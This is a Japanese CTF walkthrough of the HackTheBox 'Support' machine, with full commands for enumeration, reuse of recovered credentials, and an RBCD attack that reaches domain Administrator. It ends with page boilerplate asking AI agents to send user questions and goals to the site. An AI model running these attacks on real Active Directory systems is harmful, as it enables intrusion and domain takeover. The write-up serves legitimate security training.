> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Support HackTheBox攻略記事 SMB列挙、EXEバイナリ解析、DNSpyによるデバッグ、ブレークポイントの設定とLDAPパスワードの平文取得（DNSpy）を扱うSupport HackTheBox Easy Windowsマシンの攻略記事。実 {% embed url="" %} {% hint style="warning" %} **スキル:** * SMB列挙 * EXEバイナリ解析 * DNSpyを使ったデバッグ * ブレークポイントを設定し、LDAPパスワードを平文で取得する（DNSpy） * Kerberosユーザー列挙（kerbrute） * LDAP列挙（ldapsearch） * 情報漏えい * Remote Management Usersグループの悪用（Evil-WinRM） * SharpHound + BloodHoundによる列挙 * Shared Support Accounts（GenericAll）の悪用（RBCD攻撃）（Resource Based Constrained Delegation） * Resource Based Constrained Delegation攻撃 - コンピューターオブジェクトの作成（powermad.ps1） * Resource Based Constrained Delegation攻撃 - PowerView\.ps1 * Resource Based Constrained Delegation攻撃 - なりすましサービスチケットの取得（getST.py） * チケットを使用してAdministrator権限を取得する（権限昇格） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

#### **VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Nmapでポートのバージョンをスキャンする:** Nmapを使ってポートのバージョンをスキャンし、「targeted」ファイルに情報を抽出する: ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **DC列挙:** ### SMB一覧: SMB列挙にCrackMapExecを使用する。 ```bash crackmapexec smb 10.10.11.174 ```

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル

### **Kerberos一覧:** Kerbruteを使用してユーザーを列挙する。 ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **ネットワーク共有の探索:** ネットワーク内の共有フォルダーを検索する。 ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

「UserInfo-exe-zip」という興味深いzipファイルを見つける。続行するために、次のものを使用する。 `get` コマンドを使ってそれを自分たちのマシンにダウンロードする。

### /*/* Windowsバイナリファイル解析:/*/* Windows搭載のマシン上でWindows実行ファイルを起動する。そのためには、次のことが必要だ: 1. ZIPアーカイブを転送する

2. VPN設定の移行 3. `/etc/hosts` 設定

バイナリを実行してすべての有効ユーザーを特定するには、次のコマンドを入力するだけでよい ```bash ./UserInfo.exe find -first * -last * ``` #### このバイナリを使えば、ユーザー一覧を取得できる。

#### DNSpyでダウンロードしたWindowsバイナリファイルの解析。 {% embed url="" %}

### **平文パスワードの抽出:** DNSpyを使用してWindowsバイナリから平文パスワードを抽出する。

プログラムを実行するが、テキストが平文になっている箇所でのみ一時停止する。

LDAPパスワードは次のとおり:

### **LDAPパスワードの確認:** CrackMapExecで抽出したパスワードを確認する。 ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### ドメイン一覧: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### ドメインユーザー ``` enumdomusers ```

#### ドメイングループ ```bash enumdomgroups ```

#### ユーザーの説明: ```bash querydispinfo ```

#### すべての有効なドメインユーザーをファイルに保存する。 ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### 次に、LDAPパスワードが以下のユーザーのいずれかで使い回されているかを確認する: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` しかし、これはうまくいかない。

### **LDPA一覧:** {% embed url="" %} #### 情報を列挙するためにLDAP検索を使用する。 ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### 多くのデータが利用できるが、song情報にフィルターを適用することで、supportユーザーのパスワードが見つかる。 ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **侵害:** #### CrackMapExecを使ってsupportアカウントに関連付けられたパスワードを確認する。 ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` このユーザーはRemote Management Usersグループのメンバーであり、Windows Remote Management（WinRM）経由で接続できる。 ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Evil-WinRMの使用:** 特定した情報を使ってEvil-WinRM経由でターゲットシステムに接続する。

## 権限昇格 ### **現在の権限の確認:**
を使用して `whoami /priv` ユーザー権限を確認するコマンドだが、成功しない。

### **所属グループの分析:** を使用して `net user support` ユーザーが所属するグループを確認するコマンド。一見珍しいグループ「shared support accounts」の発見。

### **権限分析のためのBloodHoundの使用:** #### BloodHoundツールを使ってアクセス関係を可視化する。 {% embed url="" %}

### **さらなる分析のためのSharpHound実行:** BloodHoundを補完するツールであるSharpHoundを使用して、アクセス関係に関する追加データを収集する。 ```powershell ./SharpHound.exe -c All ```

## Resource Based Constrained Delegation攻撃の脆弱性: {% embed url="" %} ### **Resource Based Constrained Delegation攻撃の脆弱性特定:**

#### マシンアカウントを作成するためのPowermadスクリプトの配置。 {% embed url="" %} ```powershell Powemad.ps1をアップロード Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### PowerViewを使ってマシンアカウントの作成を確認する。 {% embed url="" %} ```powershell PowerView.ps1をアップロード Import-Module ./PowerView.ps1 ```

#### PowerShellコマンドを使用してマシンアカウントの権限を定義する。 ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### このコマンドで、'msds-allowedtoactonbehalfofather identity'プロパティを使って 'Get-DomainComputer dc' 手順全体が機能するか確認する。

### **脆弱性の悪用** #### Impacketツールを使用して次のものを実行する `getST` コマンドで、AdministratorユーザーになりすましたTGTチケットを取得する。 ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### exportしてAdministratorのKerberos環境を設定し `KRB5CCNAME`、その後Impacketを使用してターゲットシステムに接続する `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### 最終フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.